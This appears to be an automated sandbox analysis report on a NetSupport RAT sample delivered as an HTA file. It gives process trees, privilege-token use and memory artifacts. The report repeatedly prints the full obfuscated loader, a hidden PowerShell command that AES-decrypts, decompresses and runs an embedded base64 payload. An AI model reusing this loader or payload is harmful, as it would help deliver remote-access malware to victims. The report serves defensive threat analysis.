Malware Analysis Report

2024-10-23 16:16

Sample ID 240124-t6hq3sdhcr
Target updmgpower.zip
SHA256 0e465179f23f38136ff272da903c53f5d748384294c196d86cd920650ef536f1
Tags
netsupport rat
score
10/10

Table of Contents

Analysis Overview

MITRE ATT&CK

Enterprise Matrix V15

Analysis: static1

Detonation Overview

Signatures

Analysis: behavioral1

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral2

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis Overview

score
10/10

SHA256

0e465179f23f38136ff272da903c53f5d748384294c196d86cd920650ef536f1

Threat Level: Known bad

The file updmgpower.zip was found to be: Known bad.

Malicious Activity Summary

netsupport rat

NetSupport

Blocklisted process makes network request

Executes dropped EXE

Loads dropped DLL

Checks computer location settings

Enumerates physical storage devices

Suspicious behavior: EnumeratesProcesses

Suspicious use of AdjustPrivilegeToken

Suspicious use of WriteProcessMemory

Suspicious use of FindShellTrayWindow

Modifies Internet Explorer settings

MITRE ATT&CK

Analysis: static1

Detonation Overview

Reported

2024-01-24 16:40

Signatures

N/A

Analysis: behavioral1

Detonation Overview

Submitted

2024-01-24 16:40

Reported

2024-01-24 16:42

Platform

win7-20231215-en

Max time kernel

120s

Max time network

124s

Command Line

C:\Windows\SysWOW64\mshta.exe "C:\Users\Admin\AppData\Local\Temp\updmgpower.hta"

Signatures

Enumerates physical storage devices

Modifies Internet Explorer settings

adware spyware
Description Indicator Process Target
Key created \REGISTRY\USER\S-1-5-21-3427588347-1492276948-3422228430-1000\Software\Microsoft\Internet Explorer\Main C:\Windows\SysWOW64\mshta.exe N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A

Suspicious use of WriteProcessMemory

Description Indicator Process Target
PID 1932 wrote to memory of 1944 N/A C:\Windows\SysWOW64\mshta.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 1932 wrote to memory of 1944 N/A C:\Windows\SysWOW64\mshta.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 1932 wrote to memory of 1944 N/A C:\Windows\SysWOW64\mshta.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 1932 wrote to memory of 1944 N/A C:\Windows\SysWOW64\mshta.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 1944 wrote to memory of 2764 N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\SysWOW64\cmd.exe
PID 1944 wrote to memory of 2764 N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\SysWOW64\cmd.exe
PID 1944 wrote to memory of 2764 N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\SysWOW64\cmd.exe
PID 1944 wrote to memory of 2764 N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\SysWOW64\cmd.exe
PID 2764 wrote to memory of 2892 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 2764 wrote to memory of 2892 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 2764 wrote to memory of 2892 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 2764 wrote to memory of 2892 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 2764 wrote to memory of 2736 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 2764 wrote to memory of 2736 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 2764 wrote to memory of 2736 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 2764 wrote to memory of 2736 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Processes

C:\Windows\SysWOW64\mshta.exe

C:\Windows\SysWOW64\mshta.exe "C:\Users\Admin\AppData\Local\Temp\updmgpower.hta"

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy UnRestricted Start-Process 'cmd.exe' -WindowStyle hidden -ArgumentList {/c powershell.exe $lYSy = 'AAAAAAAAAAAAAAAAAAAAACo/uNMd3GaeKSYlYiHke6mPen33RvZiuADfb2N+DsrG7TE1QXrIudTxSwZddnPd5taoKj5ZN0kYyja5SS7odxfksCVS7U5omQKUYVbyie8I/5cWCPj0X4V1rh7SOURRirZha4xFkxycKwxSUaXTt0TCyR9/BtYOjJ9hEKbdO051P9uAoRUEOpCnWiPIw5ZT9uuCJ79CfOxk6owHRYBMCcnm1Lm66mS5lIxBz0FrWrtn2zP1NbAVS0f0U0TDx4S+G6Q+cctuR/LcO0w84LBK1VpFHw5Tpe9XBKcHQP4dALPCB6d/IOnrVKTgywymceAD2OiVYHClxSO3Ph+ReLjcz6OM2jv5ucA6ENEjbADik+m5Bsj4/KlTe3SeONgrtkI7XNx09fQqQGyXg8YCiTzNDnk3JcWb6yuIyYlPQ6jJlrIQcGkC4p7mLlnMmYqbj1KoN98RRxpTkAvJyjKZQdIDopisRGHJWdtUiObIDF7TyB7cu4hAe0CLcunUwIUDoKmjfaob/nO7XhS6JP3zOLLvwWuJ2Tnj0fhvxF1y3oO2UIt6mTdVN9HUw2HkDF7YyQfHylMS5YGSCIxpW/dLPKXAMTM3nIjjgtYKiiJ+abzly4EBNswEK9Jpc9OPgxIcFINY2POwV7bg0su15sG9pgvncg+ND7CiINjxSsoW/w456NDyuOgp0IIsHL30wfkkqcUok+uSzTNeba71xPy6nUHgdJXLhyeUubkQsHdlHfftU2uw9W7jgZYuUgOiX6bcI0ENSoJCHjgltZNlik57YwbPUIHzqALK1iKwAW/Bbudeq9pKx3m45dK6i6i1b9mkpcqW2Cy7XFabY4hzSK0GTJuWJFpMGOh4RcrWV3hxfsp/q0mhYE9Vbd1oTqXqhAwuBT/3FDFbEuL2rM6fL6F8K1yU12E8j87N6IIGoCZc+PmXb1Lb+XYPe//TXakyR0pAMy1fSGpT+vhNJajbz2HQlgAOeoMLmHqxeWfMWbvOVhm86igzAkY94UFgmSMXSWRm+RGr+TY1vrV1iVde7JP94gzM1QVhHcQc/keUK8Zr2LpK0WOe4Nt0+5ezrMUh9RRBczsZSw==';$pVEWBtj = 'eFpuYk9QQ3ZYb3RWVGdWcmhtY25QWW1qc1dNektZd3k=';$CLwidN = New-Object 'System.Security.Cryptography.AesManaged';$CLwidN.Mode = [System.Security.Cryptography.CipherMode]::ECB;$CLwidN.Padding = [System.Security.Cryptography.PaddingMode]::Zeros;$CLwidN.BlockSize = 128;$CLwidN.KeySize = 256;$CLwidN.Key = [System.Convert]::FromBase64String($pVEWBtj);$yYfGJ = [System.Convert]::FromBase64String($lYSy);$GNNtGeOF = $yYfGJ[0..15];$CLwidN.IV = $GNNtGeOF;$QuHjugNWv = $CLwidN.CreateDecryptor();$mEinihCZX = $QuHjugNWv.TransformFinalBlock($yYfGJ, 16, $yYfGJ.Length - 16);$CLwidN.Dispose();$SsQetEs = New-Object System.IO.MemoryStream( , $mEinihCZX );$YaxnGM = New-Object System.IO.MemoryStream;$axfWSsykS = New-Object System.IO.Compression.GzipStream $SsQetEs, ([IO.Compression.CompressionMode]::Decompress);$axfWSsykS.CopyTo( $YaxnGM );$axfWSsykS.Close();$SsQetEs.Close();[byte[]] $VgPKdva = $YaxnGM.ToArray();$YfLTiD = [System.Text.Encoding]::UTF8.GetString($VgPKdva);$YfLTiD | powershell - }

C:\Windows\SysWOW64\cmd.exe

"C:\Windows\system32\cmd.exe" /c powershell.exe $lYSy = 'AAAAAAAAAAAAAAAAAAAAACo/uNMd3GaeKSYlYiHke6mPen33RvZiuADfb2N+DsrG7TE1QXrIudTxSwZddnPd5taoKj5ZN0kYyja5SS7odxfksCVS7U5omQKUYVbyie8I/5cWCPj0X4V1rh7SOURRirZha4xFkxycKwxSUaXTt0TCyR9/BtYOjJ9hEKbdO051P9uAoRUEOpCnWiPIw5ZT9uuCJ79CfOxk6owHRYBMCcnm1Lm66mS5lIxBz0FrWrtn2zP1NbAVS0f0U0TDx4S+G6Q+cctuR/LcO0w84LBK1VpFHw5Tpe9XBKcHQP4dALPCB6d/IOnrVKTgywymceAD2OiVYHClxSO3Ph+ReLjcz6OM2jv5ucA6ENEjbADik+m5Bsj4/KlTe3SeONgrtkI7XNx09fQqQGyXg8YCiTzNDnk3JcWb6yuIyYlPQ6jJlrIQcGkC4p7mLlnMmYqbj1KoN98RRxpTkAvJyjKZQdIDopisRGHJWdtUiObIDF7TyB7cu4hAe0CLcunUwIUDoKmjfaob/nO7XhS6JP3zOLLvwWuJ2Tnj0fhvxF1y3oO2UIt6mTdVN9HUw2HkDF7YyQfHylMS5YGSCIxpW/dLPKXAMTM3nIjjgtYKiiJ+abzly4EBNswEK9Jpc9OPgxIcFINY2POwV7bg0su15sG9pgvncg+ND7CiINjxSsoW/w456NDyuOgp0IIsHL30wfkkqcUok+uSzTNeba71xPy6nUHgdJXLhyeUubkQsHdlHfftU2uw9W7jgZYuUgOiX6bcI0ENSoJCHjgltZNlik57YwbPUIHzqALK1iKwAW/Bbudeq9pKx3m45dK6i6i1b9mkpcqW2Cy7XFabY4hzSK0GTJuWJFpMGOh4RcrWV3hxfsp/q0mhYE9Vbd1oTqXqhAwuBT/3FDFbEuL2rM6fL6F8K1yU12E8j87N6IIGoCZc+PmXb1Lb+XYPe//TXakyR0pAMy1fSGpT+vhNJajbz2HQlgAOeoMLmHqxeWfMWbvOVhm86igzAkY94UFgmSMXSWRm+RGr+TY1vrV1iVde7JP94gzM1QVhHcQc/keUK8Zr2LpK0WOe4Nt0+5ezrMUh9RRBczsZSw==';$pVEWBtj = 'eFpuYk9QQ3ZYb3RWVGdWcmhtY25QWW1qc1dNektZd3k=';$CLwidN = New-Object 'System.Security.Cryptography.AesManaged';$CLwidN.Mode = [System.Security.Cryptography.CipherMode]::ECB;$CLwidN.Padding = [System.Security.Cryptography.PaddingMode]::Zeros;$CLwidN.BlockSize = 128;$CLwidN.KeySize = 256;$CLwidN.Key = [System.Convert]::FromBase64String($pVEWBtj);$yYfGJ = [System.Convert]::FromBase64String($lYSy);$GNNtGeOF = $yYfGJ[0..15];$CLwidN.IV = $GNNtGeOF;$QuHjugNWv = $CLwidN.CreateDecryptor();$mEinihCZX = $QuHjugNWv.TransformFinalBlock($yYfGJ, 16, $yYfGJ.Length - 16);$CLwidN.Dispose();$SsQetEs = New-Object System.IO.MemoryStream( , $mEinihCZX );$YaxnGM = New-Object System.IO.MemoryStream;$axfWSsykS = New-Object System.IO.Compression.GzipStream $SsQetEs, ([IO.Compression.CompressionMode]::Decompress);$axfWSsykS.CopyTo( $YaxnGM );$axfWSsykS.Close();$SsQetEs.Close();[byte[]] $VgPKdva = $YaxnGM.ToArray();$YfLTiD = [System.Text.Encoding]::UTF8.GetString($VgPKdva);$YfLTiD | powershell -

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

powershell.exe $lYSy = 'AAAAAAAAAAAAAAAAAAAAACo/uNMd3GaeKSYlYiHke6mPen33RvZiuADfb2N+DsrG7TE1QXrIudTxSwZddnPd5taoKj5ZN0kYyja5SS7odxfksCVS7U5omQKUYVbyie8I/5cWCPj0X4V1rh7SOURRirZha4xFkxycKwxSUaXTt0TCyR9/BtYOjJ9hEKbdO051P9uAoRUEOpCnWiPIw5ZT9uuCJ79CfOxk6owHRYBMCcnm1Lm66mS5lIxBz0FrWrtn2zP1NbAVS0f0U0TDx4S+G6Q+cctuR/LcO0w84LBK1VpFHw5Tpe9XBKcHQP4dALPCB6d/IOnrVKTgywymceAD2OiVYHClxSO3Ph+ReLjcz6OM2jv5ucA6ENEjbADik+m5Bsj4/KlTe3SeONgrtkI7XNx09fQqQGyXg8YCiTzNDnk3JcWb6yuIyYlPQ6jJlrIQcGkC4p7mLlnMmYqbj1KoN98RRxpTkAvJyjKZQdIDopisRGHJWdtUiObIDF7TyB7cu4hAe0CLcunUwIUDoKmjfaob/nO7XhS6JP3zOLLvwWuJ2Tnj0fhvxF1y3oO2UIt6mTdVN9HUw2HkDF7YyQfHylMS5YGSCIxpW/dLPKXAMTM3nIjjgtYKiiJ+abzly4EBNswEK9Jpc9OPgxIcFINY2POwV7bg0su15sG9pgvncg+ND7CiINjxSsoW/w456NDyuOgp0IIsHL30wfkkqcUok+uSzTNeba71xPy6nUHgdJXLhyeUubkQsHdlHfftU2uw9W7jgZYuUgOiX6bcI0ENSoJCHjgltZNlik57YwbPUIHzqALK1iKwAW/Bbudeq9pKx3m45dK6i6i1b9mkpcqW2Cy7XFabY4hzSK0GTJuWJFpMGOh4RcrWV3hxfsp/q0mhYE9Vbd1oTqXqhAwuBT/3FDFbEuL2rM6fL6F8K1yU12E8j87N6IIGoCZc+PmXb1Lb+XYPe//TXakyR0pAMy1fSGpT+vhNJajbz2HQlgAOeoMLmHqxeWfMWbvOVhm86igzAkY94UFgmSMXSWRm+RGr+TY1vrV1iVde7JP94gzM1QVhHcQc/keUK8Zr2LpK0WOe4Nt0+5ezrMUh9RRBczsZSw==';$pVEWBtj = 'eFpuYk9QQ3ZYb3RWVGdWcmhtY25QWW1qc1dNektZd3k=';$CLwidN = New-Object 'System.Security.Cryptography.AesManaged';$CLwidN.Mode = [System.Security.Cryptography.CipherMode]::ECB;$CLwidN.Padding = [System.Security.Cryptography.PaddingMode]::Zeros;$CLwidN.BlockSize = 128;$CLwidN.KeySize = 256;$CLwidN.Key = [System.Convert]::FromBase64String($pVEWBtj);$yYfGJ = [System.Convert]::FromBase64String($lYSy);$GNNtGeOF = $yYfGJ[0..15];$CLwidN.IV = $GNNtGeOF;$QuHjugNWv = $CLwidN.CreateDecryptor();$mEinihCZX = $QuHjugNWv.TransformFinalBlock($yYfGJ, 16, $yYfGJ.Length - 16);$CLwidN.Dispose();$SsQetEs = New-Object System.IO.MemoryStream( , $mEinihCZX );$YaxnGM = New-Object System.IO.MemoryStream;$axfWSsykS = New-Object System.IO.Compression.GzipStream $SsQetEs, ([IO.Compression.CompressionMode]::Decompress);$axfWSsykS.CopyTo( $YaxnGM );$axfWSsykS.Close();$SsQetEs.Close();[byte[]] $VgPKdva = $YaxnGM.ToArray();$YfLTiD = [System.Text.Encoding]::UTF8.GetString($VgPKdva);$YfLTiD

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

powershell -

Network

N/A

Files

memory/1944-11-0x0000000072800000-0x0000000072DAB000-memory.dmp

memory/1944-12-0x0000000072800000-0x0000000072DAB000-memory.dmp

memory/1944-13-0x0000000002740000-0x0000000002780000-memory.dmp

memory/1944-14-0x0000000002740000-0x0000000002780000-memory.dmp

memory/1944-15-0x0000000072800000-0x0000000072DAB000-memory.dmp

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms

MD5 537a227bcb64d1d8b2e76a7134465c14
SHA1 7d5215cd25bf268b6d6b859b6a16648be71c1efa
SHA256 6054ddbbf13161641118ef295d9459090ca0302fee5ce4e34f24e6f126b49c9c
SHA512 e5938de3840a4121bcc6bbb7dbb2bc8c2b06df6eca48f5b2338c92c961843bbf9fda79cbf4925d5e7e08926ce323d3959d1b50c607d9d56696caf0554a3526b8

memory/2736-26-0x0000000074D70000-0x000000007531B000-memory.dmp

memory/2736-28-0x00000000025A0000-0x00000000025E0000-memory.dmp

memory/2736-27-0x0000000074D70000-0x000000007531B000-memory.dmp

memory/2892-31-0x0000000074D70000-0x000000007531B000-memory.dmp

memory/2892-30-0x0000000002380000-0x00000000023C0000-memory.dmp

memory/2892-29-0x0000000074D70000-0x000000007531B000-memory.dmp

memory/2892-32-0x0000000074D70000-0x000000007531B000-memory.dmp

memory/2736-33-0x0000000074D70000-0x000000007531B000-memory.dmp

Analysis: behavioral2

Detonation Overview

Submitted

2024-01-24 16:40

Reported

2024-01-24 16:42

Platform

win10v2004-20231215-en

Max time kernel

140s

Max time network

148s

Command Line

C:\Windows\SysWOW64\mshta.exe "C:\Users\Admin\AppData\Local\Temp\updmgpower.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}

Signatures

NetSupport

rat netsupport

Blocklisted process makes network request

Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A

Checks computer location settings

Description Indicator Process Target
Key value queried \REGISTRY\USER\S-1-5-21-3073191680-435865314-2862784915-1000\Control Panel\International\Geo\Nation C:\Windows\SysWOW64\mshta.exe N/A

Executes dropped EXE

Description Indicator Process Target
N/A N/A C:\Users\Admin\AppData\Roaming\FaultDamage\hrefa.exe N/A

Enumerates physical storage devices

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeIncreaseQuotaPrivilege N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeSecurityPrivilege N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeTakeOwnershipPrivilege N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeLoadDriverPrivilege N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeSystemProfilePrivilege N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeSystemtimePrivilege N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeProfSingleProcessPrivilege N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeIncBasePriorityPrivilege N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeCreatePagefilePrivilege N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeBackupPrivilege N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeRestorePrivilege N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeShutdownPrivilege N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeSystemEnvironmentPrivilege N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeRemoteShutdownPrivilege N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeUndockPrivilege N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeManageVolumePrivilege N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Token: 33 N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Token: 34 N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Token: 35 N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Token: 36 N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeIncreaseQuotaPrivilege N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeSecurityPrivilege N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeTakeOwnershipPrivilege N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeLoadDriverPrivilege N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeSystemProfilePrivilege N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeSystemtimePrivilege N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeProfSingleProcessPrivilege N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeIncBasePriorityPrivilege N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeCreatePagefilePrivilege N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeBackupPrivilege N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeRestorePrivilege N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeShutdownPrivilege N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeSystemEnvironmentPrivilege N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeRemoteShutdownPrivilege N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeUndockPrivilege N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeManageVolumePrivilege N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Token: 33 N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Token: 34 N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Token: 35 N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Token: 36 N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeIncreaseQuotaPrivilege N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeSecurityPrivilege N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeTakeOwnershipPrivilege N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeLoadDriverPrivilege N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeSystemProfilePrivilege N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeSystemtimePrivilege N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeProfSingleProcessPrivilege N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeIncBasePriorityPrivilege N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeCreatePagefilePrivilege N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeBackupPrivilege N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeRestorePrivilege N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeShutdownPrivilege N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeSystemEnvironmentPrivilege N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeRemoteShutdownPrivilege N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeUndockPrivilege N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeManageVolumePrivilege N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Token: 33 N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Token: 34 N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A

Suspicious use of FindShellTrayWindow

Description Indicator Process Target
N/A N/A C:\Users\Admin\AppData\Roaming\FaultDamage\hrefa.exe N/A

Suspicious use of WriteProcessMemory

Description Indicator Process Target
PID 4672 wrote to memory of 4780 N/A C:\Windows\SysWOW64\mshta.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 4672 wrote to memory of 4780 N/A C:\Windows\SysWOW64\mshta.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 4672 wrote to memory of 4780 N/A C:\Windows\SysWOW64\mshta.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 4780 wrote to memory of 1620 N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\SysWOW64\cmd.exe
PID 4780 wrote to memory of 1620 N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\SysWOW64\cmd.exe
PID 4780 wrote to memory of 1620 N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\SysWOW64\cmd.exe
PID 1620 wrote to memory of 536 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 1620 wrote to memory of 536 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 1620 wrote to memory of 536 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 1620 wrote to memory of 1408 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 1620 wrote to memory of 1408 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 1620 wrote to memory of 1408 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 1408 wrote to memory of 1340 N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Users\Admin\AppData\Roaming\FaultDamage\hrefa.exe
PID 1408 wrote to memory of 1340 N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Users\Admin\AppData\Roaming\FaultDamage\hrefa.exe
PID 1408 wrote to memory of 1340 N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Users\Admin\AppData\Roaming\FaultDamage\hrefa.exe

Processes

C:\Windows\SysWOW64\mshta.exe

C:\Windows\SysWOW64\mshta.exe "C:\Users\Admin\AppData\Local\Temp\updmgpower.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy UnRestricted Start-Process 'cmd.exe' -WindowStyle hidden -ArgumentList {/c powershell.exe $lYSy = 'AAAAAAAAAAAAAAAAAAAAACo/uNMd3GaeKSYlYiHke6mPen33RvZiuADfb2N+DsrG7TE1QXrIudTxSwZddnPd5taoKj5ZN0kYyja5SS7odxfksCVS7U5omQKUYVbyie8I/5cWCPj0X4V1rh7SOURRirZha4xFkxycKwxSUaXTt0TCyR9/BtYOjJ9hEKbdO051P9uAoRUEOpCnWiPIw5ZT9uuCJ79CfOxk6owHRYBMCcnm1Lm66mS5lIxBz0FrWrtn2zP1NbAVS0f0U0TDx4S+G6Q+cctuR/LcO0w84LBK1VpFHw5Tpe9XBKcHQP4dALPCB6d/IOnrVKTgywymceAD2OiVYHClxSO3Ph+ReLjcz6OM2jv5ucA6ENEjbADik+m5Bsj4/KlTe3SeONgrtkI7XNx09fQqQGyXg8YCiTzNDnk3JcWb6yuIyYlPQ6jJlrIQcGkC4p7mLlnMmYqbj1KoN98RRxpTkAvJyjKZQdIDopisRGHJWdtUiObIDF7TyB7cu4hAe0CLcunUwIUDoKmjfaob/nO7XhS6JP3zOLLvwWuJ2Tnj0fhvxF1y3oO2UIt6mTdVN9HUw2HkDF7YyQfHylMS5YGSCIxpW/dLPKXAMTM3nIjjgtYKiiJ+abzly4EBNswEK9Jpc9OPgxIcFINY2POwV7bg0su15sG9pgvncg+ND7CiINjxSsoW/w456NDyuOgp0IIsHL30wfkkqcUok+uSzTNeba71xPy6nUHgdJXLhyeUubkQsHdlHfftU2uw9W7jgZYuUgOiX6bcI0ENSoJCHjgltZNlik57YwbPUIHzqALK1iKwAW/Bbudeq9pKx3m45dK6i6i1b9mkpcqW2Cy7XFabY4hzSK0GTJuWJFpMGOh4RcrWV3hxfsp/q0mhYE9Vbd1oTqXqhAwuBT/3FDFbEuL2rM6fL6F8K1yU12E8j87N6IIGoCZc+PmXb1Lb+XYPe//TXakyR0pAMy1fSGpT+vhNJajbz2HQlgAOeoMLmHqxeWfMWbvOVhm86igzAkY94UFgmSMXSWRm+RGr+TY1vrV1iVde7JP94gzM1QVhHcQc/